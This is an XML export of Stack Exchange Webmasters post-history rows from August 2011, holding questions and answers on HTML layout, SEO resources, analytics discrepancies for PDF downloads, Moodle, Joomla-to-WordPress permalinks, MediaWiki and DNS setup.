  <row Id="42903" PostHistoryTypeId="1" PostId="17771" RevisionGUID="aa7944c2-dd1c-41b9-9deb-30b783720d3c" CreationDate="2011-08-04T00:26:32.053" UserId="9380" Text="difference between web authors and web implementors" />
  <row Id="42904" PostHistoryTypeId="3" PostId="17771" RevisionGUID="aa7944c2-dd1c-41b9-9deb-30b783720d3c" CreationDate="2011-08-04T00:26:32.053" UserId="9380" Text="&lt;html&gt;&lt;css&gt;" />
  <row Id="42905" PostHistoryTypeId="25" PostId="17760" RevisionGUID="d34db650-ee9e-48b5-b75a-95d7efdb1e11" CreationDate="2011-08-04T00:34:09.090" Comment="http://twitter.com/#!/StackWebmasters/status/98914583472898048" />
  <row Id="42906" PostHistoryTypeId="10" PostId="17771" RevisionGUID="26e1d7ce-7c05-488b-a3fb-a14af0fadbbc" CreationDate="2011-08-04T00:53:55.150" UserId="1253" CloseReasonId="3" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="42908" PostHistoryTypeId="2" PostId="17772" RevisionGUID="65890c09-63e0-4404-bbaa-df3645a8b656" CreationDate="2011-08-04T01:09:44.030" UserId="6334" Text="I'm trying to build a website (html only) for a design studio and I am trying to figure out what is the best way to go about it.&#xD;&#xA;&#xD;&#xA;Layour of a webpage is like this:&#xD;&#xA;&#xD;&#xA;- A page is divided into two spaces (think of it as a vertical column like this: `L | R ` where L = left side and R = right side)&#xD;&#xA;- `R` page will have images for menu options. For simplicity, let's say we have &quot;Home&quot; and  &quot;Contact Us&quot;&#xD;&#xA;- `L` page behaves like a state machine. For e.g., when user clicks on `Contact Us`: `L` is updated with contact us contents and clicking on `Home` updates the content with home contents&#xD;&#xA;&#xD;&#xA;I'm trying to figure out what would be a good way to deal with this kind of a situation. Please let me know if you need me to be clear or provide more details.&#xD;&#xA;&#xD;&#xA;Thanks" />
  <row Id="42909" PostHistoryTypeId="1" PostId="17772" RevisionGUID="65890c09-63e0-4404-bbaa-df3645a8b656" CreationDate="2011-08-04T01:09:44.030" UserId="6334" Text="recommend strategy to implement this design" />
  <row Id="42910" PostHistoryTypeId="3" PostId="17772" RevisionGUID="65890c09-63e0-4404-bbaa-df3645a8b656" CreationDate="2011-08-04T01:09:44.030" UserId="6334" Text="&lt;html&gt;&lt;web-development&gt;&lt;website-design&gt;&lt;websites&gt;" />
  <row Id="42911" PostHistoryTypeId="2" PostId="17773" RevisionGUID="da9d5377-9da1-496b-a32e-783c150452ab" CreationDate="2011-08-04T01:33:52.473" UserId="5806" Text="What LazyOne said. Return a 200 from the handler. Otherwise GA will report it as a Page Not Found, which is what you are telling them anyways." />
  <row Id="42912" PostHistoryTypeId="10" PostId="17772" RevisionGUID="a93f4622-08f0-427e-980c-222b191cec4a" CreationDate="2011-08-04T01:59:28.043" UserId="1253" CloseReasonId="3" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="42913" PostHistoryTypeId="2" PostId="17774" RevisionGUID="1eacecc1-bd26-4ccd-8efb-e7377937a798" CreationDate="2011-08-04T02:04:07.483" UserId="9381" Text="I have a good understanding of SEO and SEM. But I'd like to be very good and stay razor sharp.&#xD;&#xA;&#xD;&#xA;Just wondering if anyone has run across a &quot;absolutely must have&quot; for a book, audiobook, podcast or blog. There is a lot of material for this stuff out there, so it's hard to tell who is good for this particular subject because of the nature of online promotion.&#xD;&#xA;&#xD;&#xA;Preferably, this might be something that I could download from iTunes. Also, if there's a medium that I missed, I'd be open to that too. I just really want some of the best sources of knowledge on SEO and SEM.&#xD;&#xA;&#xD;&#xA;Thanks in advance!" />
  <row Id="42914" PostHistoryTypeId="1" PostId="17774" RevisionGUID="1eacecc1-bd26-4ccd-8efb-e7377937a798" CreationDate="2011-08-04T02:04:07.483" UserId="9381" Text="What's the best book, podcast, audiobook or blog for SEO or SEM?" />
  <row Id="42915" PostHistoryTypeId="3" PostId="17774" RevisionGUID="1eacecc1-bd26-4ccd-8efb-e7377937a798" CreationDate="2011-08-04T02:04:07.483" UserId="9381" Text="&lt;seo&gt;&lt;sem&gt;&lt;books&gt;&lt;resources&gt;" />
  <row Id="42916" PostHistoryTypeId="11" PostId="17772" RevisionGUID="86d4a2e4-8f40-4e3c-9468-abadbeae40ff" CreationDate="2011-08-04T02:07:58.287" UserId="1253" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="42917" PostHistoryTypeId="2" PostId="17775" RevisionGUID="80cb5c07-a010-4fb5-bbc9-ef1dab159dbb" CreationDate="2011-08-04T02:14:44.020" UserId="9382" Text="I was charged with getting the number of times a specific PDF has been clicked on our site for the past two years. GA registered something like 30 downloads, which at first I found impossible to believe but it is an obscure academic report so I said OK. Person connected to the report couldn't believe it, she said that she has seen sites where this PDF had 8,000 or so downloads over same period. Well Webtrends for our site showed that over 16,000 downloads to that one URL during that same period and 8,000 unique visits.&#xD;&#xA;&#xD;&#xA;Now I know that server log statistics are practically useless and that when a user clicks on a PDF, the log file can register a bunch of requests to the server but still, this discrepancy is astounding. Even after I filtered out 206 HTTP status codes and as many bots as I could, I still had  about 8,000 downloads with about 6,000 visits. &#xD;&#xA;&#xD;&#xA;We do use tracking codes, but I am using unique page views for this in GA. Tracking codes actually bring up even fewer downloads. Am I right in concluding that a tracking code won't track a PDF linked directly from a search engine, either Google or any other - because obviously our tracking code isn't on any of their pages. Much of our content comes from Google searches. I cannot find keywords or phrases that would reasonably correspond to this PDF in analytics for search terms either. &#xD;&#xA;&#xD;&#xA;So now I have no idea what to tell this woman. I tend to trust GA WRT pdf downloads.  I also find it hard to believe there were only 30 downloads in two years - even  an obscure academic PDF. I need to figure this out. Any suggestions?&#xD;&#xA;&#xD;&#xA;Any advice is much, much, appreciated." />
  <row Id="42918" PostHistoryTypeId="1" PostId="17775" RevisionGUID="80cb5c07-a010-4fb5-bbc9-ef1dab159dbb" CreationDate="2011-08-04T02:14:44.020" UserId="9382" Text="Why is there such a huge discrepancy between my Google Analytics and Webtrends stats for PDF downloads" />
  <row Id="42919" PostHistoryTypeId="3" PostId="17775" RevisionGUID="80cb5c07-a010-4fb5-bbc9-ef1dab159dbb" CreationDate="2011-08-04T02:14:44.020" UserId="9382" Text="&lt;analytics&gt;&lt;pdf&gt;" />
  <row Id="42920" PostHistoryTypeId="10" PostId="17774" RevisionGUID="d4c6c81c-186e-42bf-83da-6818ec40e53b" CreationDate="2011-08-04T02:31:45.817" UserId="1253" CloseReasonId="3" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="42921" PostHistoryTypeId="25" PostId="17758" RevisionGUID="934b1f06-6e86-4b26-a8d5-81fefc8fa784" CreationDate="2011-08-04T03:34:09.793" Comment="http://twitter.com/#!/StackWebmasters/status/98959884783067136" />
  <row Id="42922" PostHistoryTypeId="2" PostId="17776" RevisionGUID="066058a2-cf1f-4fce-b188-9949ba3de125" CreationDate="2011-08-04T04:07:26.717" UserId="8957" Text="I would just make 2 divs, one for the navigation and one for the main content. since the navigation generally has the same amount of stuff in it i would make it fixed width.&#xD;&#xA;just basically a tiny css file defining 2 divs with absolute position, one with fixed width.&#xD;&#xA;&#xD;&#xA;    div.navigation {width: 250px; position: absolute; right: 0px;}&#xD;&#xA;    div.content {position: absolute; right: 250px;}&#xD;&#xA;&#xD;&#xA;css3 has a nav tag for navigation that you could use instead of the div.navigation." />
  <row Id="42923" PostHistoryTypeId="17" PostId="17777" RevisionGUID="aeee11f5-d5fd-45fa-8712-28a027e6014f" CreationDate="2011-08-04T05:10:52.213" UserId="-1" Comment="from http://stackoverflow.com/questions/6911121/how-can-i-write-my-own-page-in-moodle" Text="" />
  <row Id="42924" PostHistoryTypeId="17" PostId="17778" RevisionGUID="130cdea5-2b1a-4b56-894b-7254664d3a08" CreationDate="2011-08-04T05:10:52.213" UserId="-1" Comment="from http://stackoverflow.com/questions/6911121/how-can-i-write-my-own-page-in-moodle" Text="" />
  <row Id="42925" PostHistoryTypeId="2" PostId="17778" RevisionGUID="4b52755a-2a18-4c80-9a00-1cb81bc74ec2" CreationDate="2011-08-02T17:52:29.867" UserDisplayName="matthewdaniel" Text="If it must be a php page the easiest way to do this is to&#xD;&#xA;&#xD;&#xA;1. copy the index.php page in the root directory&#xD;&#xA;2. replace everything between print_container_start() (right after middle-column column is printed) and print_container_end() with your code&#xD;&#xA;3. Optional - delete conditionals that checks moodle version numbers&#xD;&#xA;&#xD;&#xA;omitting step three shouldn't do any harm it will just make some needless upgrade checks.&#xD;&#xA;" />
  <row Id="42926" PostHistoryTypeId="2" PostId="17777" RevisionGUID="a34b2b36-f888-4f9f-8e01-528ea6b37565" CreationDate="2011-08-02T11:12:43.587" UserDisplayName="user826215" Text=" - I want to write my own page in moodle that call with a link on the&#xD;&#xA;   blocks (left side of the page)&#xD;&#xA;   &#xD;&#xA;   when I click that link I want to load my page (php) in the region&#xD;&#xA;   field without change the other parts of the page&#xD;&#xA; - note that the link is added by mine" />
  <row Id="42927" PostHistoryTypeId="1" PostId="17777" RevisionGUID="a34b2b36-f888-4f9f-8e01-528ea6b37565" CreationDate="2011-08-02T11:12:43.587" UserDisplayName="user826215" Text="How can I write my own page in moodle?" />
  <row Id="42928" PostHistoryTypeId="3" PostId="17777" RevisionGUID="a34b2b36-f888-4f9f-8e01-528ea6b37565" CreationDate="2011-08-02T11:12:43.587" UserDisplayName="user826215" Text="&lt;untagged&gt;" />
  <row Id="42929" PostHistoryTypeId="25" PostId="17709" RevisionGUID="e1a4a0bb-6647-4f86-ad30-1cc566f5a0dd" CreationDate="2011-08-04T06:34:09.857" Comment="http://twitter.com/#!/StackWebmasters/status/99005183635361792" />
  <row Id="42930" PostHistoryTypeId="2" PostId="17779" RevisionGUID="764e94d4-afde-41c1-bba1-760cd41f6919" CreationDate="2011-08-04T06:40:00.137" UserId="9383" Text="Is there any way to detect chinese character using perl?&#xD;&#xA;&#xD;&#xA;And is there any way on how to split chinese character with symbol dot '.' from a chinese domain name perfectly ?&#xD;&#xA;" />
  <row Id="42931" PostHistoryTypeId="1" PostId="17779" RevisionGUID="764e94d4-afde-41c1-bba1-760cd41f6919" CreationDate="2011-08-04T06:40:00.137" UserId="9383" Text="How to Detect chinese character using perl?" />
  <row Id="42932" PostHistoryTypeId="3" PostId="17779" RevisionGUID="764e94d4-afde-41c1-bba1-760cd41f6919" CreationDate="2011-08-04T06:40:00.137" UserId="9383" Text="&lt;web-hosting&gt;" />
  <row Id="42933" PostHistoryTypeId="10" PostId="17779" RevisionGUID="6541e78c-e39b-4018-ad43-3521c6da6063" CreationDate="2011-08-04T07:40:38.367" UserId="1064" CloseReasonId="2" Text="[{&quot;Id&quot;:7198,&quot;DisplayName&quot;:&quot;Nick&quot;},{&quot;Id&quot;:1064,&quot;DisplayName&quot;:&quot;danlefree&quot;}]" />
  <row Id="42934" PostHistoryTypeId="2" PostId="17780" RevisionGUID="d7f35765-594f-4d78-94f8-465c297b9c20" CreationDate="2011-08-04T08:03:03.667" UserId="1643" Text="&gt; Am I right in concluding that a tracking code won't track a PDF linked&#xD;&#xA;&gt; directly from a search engine, either Google or any other - because&#xD;&#xA;&gt; obviously our tracking code isn't on any of their pages.&#xD;&#xA;&#xD;&#xA;Yes. &#xD;&#xA;&#xD;&#xA;OK, I guess you want a bit more detail. I presume by tracking code you mean the example given in [this help article][1]&#xD;&#xA;&#xD;&#xA;    &lt;a href=&quot;http://www.example.com/files/map.pdf&quot; onClick=&quot;javascript: pageTracker._trackPageview('/downloads/map'); &quot;&gt;&#xD;&#xA;&#xD;&#xA;That's going to only track if people click on the link on your page. However all is not lost. Even if the stats from the logs are only half right it tells you that people are finding your PDF from search engines and not visiting your site, which may be a useful fact.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/support/analytics/bin/answer.py?answer=55529&#xD;&#xA;" />
  <row Id="42935" PostHistoryTypeId="6" PostId="17777" RevisionGUID="571d23f5-c7bd-4aaa-a0b5-ae7683088e4d" CreationDate="2011-08-04T08:27:02.943" UserId="4502" Comment="edited tags" Text="&lt;moodle&gt;" />
  <row Id="42936" PostHistoryTypeId="17" PostId="17781" RevisionGUID="adf4d82c-e738-4170-875e-5c683c8d167d" CreationDate="2011-08-04T08:53:07.027" UserId="-1" Comment="from http://serverfault.com/questions/297481/joomla-1-5-to-wordpress-3-1-migration-how-to-redirect-joomlas-permalinks" Text="" />
  <row Id="42937" PostHistoryTypeId="2" PostId="17781" RevisionGUID="540903f5-22ac-4e7d-82f9-b7bf622e0fff" CreationDate="2011-08-04T08:50:52.593" UserId="9385" UserDisplayName="javipas" Text="I'm migrating a Joomla 1.5 site to a Wordpress 3.1 site (I will later update to WP 3.2.x) and I've found the right tool to do it, a plugin called [Joomla 1.5 Importer][1]. There is another  plugin called [Joomla/Mambo To Wordpress Migrator][2] that works better except for one problem: there's no way to correct the database charset. The site is in spanish, and some special characters are not shown correctly.&#xD;&#xA;&#xD;&#xA;After usin the Joomla 1.5 Importer I've got my posts in place, but there is a permalink issue. Our current Joomla site has a permalink structure that includes the article's id: &#xD;&#xA;&#xD;&#xA;http://www.myjoomlasite.com/tech/news/8182-title-of-the-article.html&#xD;&#xA;&#xD;&#xA;But after applying the plugin the Wordpress' article permalink is the following: &#xD;&#xA;&#xD;&#xA;http://www.mywordpress.com/tech/news/title-of-the-article.html&#xD;&#xA;&#xD;&#xA;You see? There's no number at the beginning of the last part of the permalink. I guess I would need a Rewrite Rule in Apache for my .htaccess to solve the issue, but I don't know what would be the right one. I just need to &quot;delete&quot; the &quot;id-&quot; part of the permalink.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://wordpress.org/extend/plugins/joomla-15-importer/faq/&#xD;&#xA;  [2]: http://wordpress.org/extend/plugins/joomla-to-wordpress-migrator/" />
  <row Id="42938" PostHistoryTypeId="1" PostId="17781" RevisionGUID="540903f5-22ac-4e7d-82f9-b7bf622e0fff" CreationDate="2011-08-04T08:50:52.593" UserId="9385" UserDisplayName="javipas" Text="Joomla 1.5 to Wordpress 3.1 migration: how to redirect Joomla's permalinks" />
  <row Id="42939" PostHistoryTypeId="3" PostId="17781" RevisionGUID="540903f5-22ac-4e7d-82f9-b7bf622e0fff" CreationDate="2011-08-04T08:50:52.593" UserId="9385" UserDisplayName="javipas" Text="&lt;migration&gt;&lt;wordpress&gt;&lt;joomla&gt;" />
  <row Id="42940" PostHistoryTypeId="2" PostId="17782" RevisionGUID="766dbb07-814c-4af3-9b84-474f9173f945" CreationDate="2011-08-04T09:25:08.077" UserId="9384" Text="any you want, there is not limit" />
  <row Id="42941" PostHistoryTypeId="25" PostId="17775" RevisionGUID="716f07ec-bcc5-4531-a580-53591cec1e8f" CreationDate="2011-08-04T09:34:09.453" Comment="http://twitter.com/#!/StackWebmasters/status/99050480713465856" />
  <row Id="42942" PostHistoryTypeId="2" PostId="17783" RevisionGUID="8fd20f73-1901-4407-99e8-9847fe5f29b0" CreationDate="2011-08-04T10:20:14.577" UserId="9386" Text="`&lt;TITLE&gt;` - As shorter is better for your keywords. I use 3 - 6 words and separate them with &quot;|&quot;. &#xD;&#xA;&#xD;&#xA;Example: &#xD;&#xA;&#xD;&#xA;`&lt;title&gt;`Keyword Phrase 1 | Keyword 2`&lt;/title&gt;`&#xD;&#xA;&#xD;&#xA;`&lt;DESCRIPTION&gt;`&#xD;&#xA;&#xD;&#xA;Before I filled this meta with keywords and tried to make it interesting for users but now I leave this meta tag empty and it works not bed. I mean Search Engine generates the description automatically and yanks the best snippets.&#xD;&#xA;&#xD;&#xA;`&lt;KEYWORDS&gt;`&#xD;&#xA;&#xD;&#xA;I don't pay attention on it. I lost the value now." />
  <row Id="42943" PostHistoryTypeId="2" PostId="17784" RevisionGUID="16441c7a-4615-4e0c-bd69-3834e70e222f" CreationDate="2011-08-04T11:31:49.523" UserId="9388" Text="this is my site http://universeresult.com/&#xD;&#xA;&#xD;&#xA;this website in 5 months old. daily traffic of this site is almost 150 to 200 and it is very low. kindly suggest me how we can improve my website traffic." />
  <row Id="42944" PostHistoryTypeId="1" PostId="17784" RevisionGUID="16441c7a-4615-4e0c-bd69-3834e70e222f" CreationDate="2011-08-04T11:31:49.523" UserId="9388" Text="How to increase my website traffic" />
  <row Id="42945" PostHistoryTypeId="3" PostId="17784" RevisionGUID="16441c7a-4615-4e0c-bd69-3834e70e222f" CreationDate="2011-08-04T11:31:49.523" UserId="9388" Text="&lt;websites&gt;&lt;high-traffic&gt;" />
  <row Id="42946" PostHistoryTypeId="2" PostId="17785" RevisionGUID="3d915c77-9e83-4efa-8146-59964bf7d318" CreationDate="2011-08-04T11:34:22.223" UserId="9387" Text="![I'm sure my website has 21 likes, and when the page is still loading it shows 21 likes under the Twitter button][1]&#xD;&#xA;&#xD;&#xA;If you [look at my website][2], it shows only one Facebook Like, but while the page is loading it sometimes shows more; and I'm sure there are at least 20.&#xD;&#xA;&#xD;&#xA;Any ideas?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/n5hsD.png&#xD;&#xA;  [2]: http://www.glamourunderground.com/1038/still-looking-for-mr-right/" />
  <row Id="42947" PostHistoryTypeId="1" PostId="17785" RevisionGUID="3d915c77-9e83-4efa-8146-59964bf7d318" CreationDate="2011-08-04T11:34:22.223" UserId="9387" Text="Why Are My Facebook 'Likes' Disappearing?" />
  <row Id="42948" PostHistoryTypeId="3" PostId="17785" RevisionGUID="3d915c77-9e83-4efa-8146-59964bf7d318" CreationDate="2011-08-04T11:34:22.223" UserId="9387" Text="&lt;facebook&gt;" />
  <row Id="42949" PostHistoryTypeId="17" PostId="17786" RevisionGUID="2627a06d-4b50-4539-b6a1-6c0cc971d955" CreationDate="2011-08-04T11:48:38.153" UserId="-1" Comment="from http://serverfault.com/questions/297535/how-to-get-this-fancy-editor-wikipedia-uses-into-our-own-mediawiki-installation" Text="" />
  <row Id="42950" PostHistoryTypeId="2" PostId="17786" RevisionGUID="ca1296b8-9044-4215-be35-46f6bacfdcb2" CreationDate="2011-08-04T11:37:53.577" UserId="9389" UserDisplayName="Moritz" Text="Really, sorry, if this question seems as if I'd be too lazy to google, but I tried to find that out myself and failed:&#xD;&#xA;&#xD;&#xA;What's the name of the extension for MediaWiki or whatever would I have to use to get this nice and fancy editor that Wikipedia uses into my own MediaWiki installation?&#xD;&#xA;&#xD;&#xA;I already use the newest MediaWiki version (1.17.0) but still have these ugly and pretty useless buttons on top of my edit pages.&#xD;&#xA;" />
  <row Id="42951" PostHistoryTypeId="1" PostId="17786" RevisionGUID="ca1296b8-9044-4215-be35-46f6bacfdcb2" CreationDate="2011-08-04T11:37:53.577" UserId="9389" UserDisplayName="Moritz" Text="How to get this fancy editor Wikipedia uses into our own MediaWiki installation" />
  <row Id="42952" PostHistoryTypeId="3" PostId="17786" RevisionGUID="ca1296b8-9044-4215-be35-46f6bacfdcb2" CreationDate="2011-08-04T11:37:53.577" UserId="9389" UserDisplayName="Moritz" Text="&lt;mediawiki&gt;" />
  <row Id="42953" PostHistoryTypeId="2" PostId="17787" RevisionGUID="8efe4d2b-4e10-4798-99a3-d2467f1c5b52" CreationDate="2011-08-04T11:58:42.073" UserId="1643" Text="The version of MediaWiki used by Wikipedia is 1.17wmf1, which I'm guessing stands for Wikimedia Foundation. They use a customised version of the software for their own purposes. I think all you can do is hope they include that new editor in a future release. Or else you could try and download the scripts that they're using and reverse engineer the pages, but that may break the license agreement." />
  <row Id="42954" PostHistoryTypeId="5" PostId="17784" RevisionGUID="2943a000-6463-4d03-92ae-71ccf37a5be1" CreationDate="2011-08-04T12:03:09.500" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [How can I increase the traffic to my site?](http://webmasters.stackexchange.com/questions/217/how-can-i-increase-the-traffic-to-my-site)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;this is my site http://universeresult.com/&#xD;&#xA;&#xD;&#xA;this website in 5 months old. daily traffic of this site is almost 150 to 200 and it is very low. kindly suggest me how we can improve my website traffic." />
  <row Id="42955" PostHistoryTypeId="10" PostId="17784" RevisionGUID="46b5b9cf-9f9f-476c-8d0a-d6f5fd4ee1b1" CreationDate="2011-08-04T12:03:08.563" UserId="1253" CloseReasonId="1" Text="[{&quot;Id&quot;:1643,&quot;DisplayName&quot;:&quot;paulmorriss&quot;},{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="42956" PostHistoryTypeId="5" PostId="17784" RevisionGUID="5eee6a6e-2a5b-4230-b30f-2b8d0e34950f" CreationDate="2011-08-04T12:03:25.630" UserId="1253" Comment="deleted 43 characters in body" Text="&gt; **Possible Duplicate:**  &#xD;&#xA;&gt; [How can I increase the traffic to my site?](http://webmasters.stackexchange.com/questions/217/how-can-i-increase-the-traffic-to-my-site)  &#xD;&#xA;&#xD;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xD;&#xA;&#xD;&#xA;My website in 5 months old. daily traffic of this site is almost 150 to 200 and it is very low. kindly suggest me how we can improve my website traffic." />
  <row Id="42957" PostHistoryTypeId="4" PostId="17740" RevisionGUID="e54989fa-dd4a-4126-a8b3-76b9c61535b4" CreationDate="2011-08-04T12:06:00.993" UserId="1253" Comment="Improved title" Text="What s the maximum length of the meta kewords tag?" />
  <row Id="42958" PostHistoryTypeId="2" PostId="17788" RevisionGUID="b97575a4-cfc7-4aa0-97a5-1c033bdc0fc6" CreationDate="2011-08-04T12:15:42.437" UserId="7575" Text="I have found a site from one of my friend said that this link is forwarded by godaddy support. http://onlinealley.com/seotools/googlebannedchecker/ &#xD;&#xA;&#xD;&#xA;But I don't think its result is right because i have a domain which is working right and well indexed its showing is banned. Also i have checked for couple of domains which are open for registration is also saying banned by that site.&#xD;&#xA;&#xD;&#xA;Can you recommend any other service that gives right information? That will help me when buy domains from auctions or already registered.&#xD;&#xA;&#xD;&#xA;Thanks!" />
  <row Id="42959" PostHistoryTypeId="1" PostId="17788" RevisionGUID="b97575a4-cfc7-4aa0-97a5-1c033bdc0fc6" CreationDate="2011-08-04T12:15:42.437" UserId="7575" Text="Any good service where I can see if a domain is blacklisted by google or not?" />
  <row Id="42960" PostHistoryTypeId="3" PostId="17788" RevisionGUID="b97575a4-cfc7-4aa0-97a5-1c033bdc0fc6" CreationDate="2011-08-04T12:15:42.437" UserId="7575" Text="&lt;seo&gt;&lt;google&gt;&lt;domains&gt;&lt;google-search&gt;&lt;blacklist&gt;" />
  <row Id="42961" PostHistoryTypeId="4" PostId="3399" RevisionGUID="2217cc3e-aa05-49da-bc73-dd7c815653fc" CreationDate="2011-08-04T12:25:30.803" UserId="1643" Comment="question" Text="How do I rename a domain and preserve PageRank?" />
  <row Id="42962" PostHistoryTypeId="25" PostId="17785" RevisionGUID="f34e5b59-ddb5-40aa-8158-5c5691de9352" CreationDate="2011-08-04T12:34:10.203" Comment="http://twitter.com/#!/StackWebmasters/status/99095782371770368" />
  <row Id="42963" PostHistoryTypeId="2" PostId="17789" RevisionGUID="cbeb6a89-c387-4060-8032-0c89e708311a" CreationDate="2011-08-04T12:36:52.107" UserId="233" Text="From what you mention in your comment it sounds like a bug-tracking system could be the way to go. I know that the [KDE Bug Tracker][1] uses exactly the system you mentioned of &quot;votes&quot; to apportion to bugs/features.&#xD;&#xA;&#xD;&#xA;However, I can't find if their software is available to download and self-host. Perhaps check some other similar software like Bugzilla and see if it meets your needs.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://bugs.kde.org" />
  <row Id="42964" PostHistoryTypeId="4" PostId="5662" RevisionGUID="545c598e-ff97-49d8-82e5-8195a51a7aca" CreationDate="2011-08-04T12:44:27.823" UserId="1643" Comment="question" Text="How do I get images containing text to be indexed by search engines?" />
  <row Id="42965" PostHistoryTypeId="4" PostId="12439" RevisionGUID="ead55d99-8b5e-42e5-8287-08679fce8ffc" CreationDate="2011-08-04T12:59:11.227" UserId="1643" Comment="question" Text="What SEO problems could I run into when changing CMS?" />
  <row Id="42966" PostHistoryTypeId="4" PostId="1615" RevisionGUID="15484581-eb63-44cf-bd86-091931f197e3" CreationDate="2011-08-04T13:14:06.173" UserId="1643" Comment="question" Text="Is there a way of using HTTPS with Amazon's CloudFront CDN and CNAMEs?" />
  <row Id="42967" PostHistoryTypeId="2" PostId="17790" RevisionGUID="82b2141b-5e5c-4e27-9ed8-0912d4633549" CreationDate="2011-08-04T13:19:56.747" UserId="3585" Text="What are the performance or any other considerations involved when deciding whether to use Name Servers or A Records when pointing your domain registrar to your website host?&#xD;&#xA;&#xD;&#xA;**My case:**&#xD;&#xA;&#xD;&#xA;I have a domain registered with Network Solutions, email with Network solutions, and a website hosted on GoDaddy. &#xD;&#xA;&#xD;&#xA;My thought here is that I point the A Record to GoDaddy, because it's my only option without breaking email.  However, if I were not using any Network Solutions services, would it be better just to point the name servers to GoDaddy?&#xD;&#xA;&#xD;&#xA;Thanks-" />
  <row Id="42968" PostHistoryTypeId="1" PostId="17790" RevisionGUID="82b2141b-5e5c-4e27-9ed8-0912d4633549" CreationDate="2011-08-04T13:19:56.747" UserId="3585" Text="Pointing from domain registrar to host: Name Servers vs A Records" />
  <row Id="42969" PostHistoryTypeId="3" PostId="17790" RevisionGUID="82b2141b-5e5c-4e27-9ed8-0912d4633549" CreationDate="2011-08-04T13:19:56.747" UserId="3585" Text="&lt;web-hosting&gt;&lt;domain-registration&gt;&lt;nameserver&gt;&lt;name-servers&gt;" />
  <row Id="42970" PostHistoryTypeId="17" PostId="17791" RevisionGUID="6dfbbf2a-599d-4402-b9db-1dbf2672e20f" CreationDate="2011-08-04T13:21:13.577" UserId="-1" Comment="from http://stackoverflow.com/questions/6917174/django-websites-and-google" Text="" />
  <row Id="42971" PostHistoryTypeId="17" PostId="17792" RevisionGUID="468ab89f-e2b5-4350-b4fd-3f513f721a28" CreationDate="2011-08-04T13:21:13.577" UserId="-1" Comment="from http://stackoverflow.com/questions/6917174/django-websites-and-google" Text="" />
  <row Id="42972" PostHistoryTypeId="2" PostId="17792" RevisionGUID="deb45e69-b9f6-4598-8175-aa3346ea46e1" CreationDate="2011-08-02T19:21:04.820" UserDisplayName="Dominik" Text="In addition to what rolling stone said, you should check [Django's sitemap][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.djangoproject.com/en/1.3/ref/contrib/sitemaps/" />
  <row Id="42973" PostHistoryTypeId="2" PostId="17791" RevisionGUID="844317a6-bd8c-4ad4-9631-4b0734f02457" CreationDate="2011-08-02T19:02:14.903" UserId="1593" Text="I have recently finished one of my side projects. Now many sites have things like robot.txts (probably not the best file to describe what i need but you get what I mean)  and things of that nature not totally sure what else there is but things behind the scenes that sites use to identify themselves to things like google, yahoo, and bing(but I could have just said google! zing!)&#xD;&#xA;&#xD;&#xA;I was wondering, what I needed to add to my site for it to be fully web compliant and searchable and proper. I am basically looking for best practices. &#xD;&#xA;&#xD;&#xA;Thanks." />
  <row Id="42974" PostHistoryTypeId="1" PostId="17791" RevisionGUID="844317a6-bd8c-4ad4-9631-4b0734f02457" CreationDate="2011-08-02T19:02:14.903" UserId="1593" Text="django websites and google" />
  <row Id="42975" PostHistoryTypeId="3" PostId="17791" RevisionGUID="844317a6-bd8c-4ad4-9631-4b0734f02457" CreationDate="2011-08-02T19:02:14.903" UserId="1593" Text="&lt;django&gt;&lt;web-development&gt;&lt;google&gt;" />
  <row Id="42976" PostHistoryTypeId="5" PostId="17791" RevisionGUID="606d09ac-e696-42b4-98f7-52640c4bd888" CreationDate="2011-08-04T13:25:19.820" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [What are the best ways to increase your site&amp;#39;s position in Google?](http://webmasters.stackexchange.com/questions/2/what-are-the-best-ways-to-increase-your-sites-position-in-google)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;I have recently finished one of my side projects. Now many sites have things like robot.txts (probably not the best file to describe what i need but you get what I mean)  and things of that nature not totally sure what else there is but things behind the scenes that sites use to identify themselves to things like google, yahoo, and bing(but I could have just said google! zing!)&#xD;&#xA;&#xD;&#xA;I was wondering, what I needed to add to my site for it to be fully web compliant and searchable and proper. I am basically looking for best practices. &#xD;&#xA;&#xD;&#xA;Thanks." />
  <row Id="42977" PostHistoryTypeId="10" PostId="17791" RevisionGUID="b9c6e54b-2dd0-4988-9063-64392f75414e" CreationDate="2011-08-04T13:25:18.837" UserId="1253" CloseReasonId="1" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
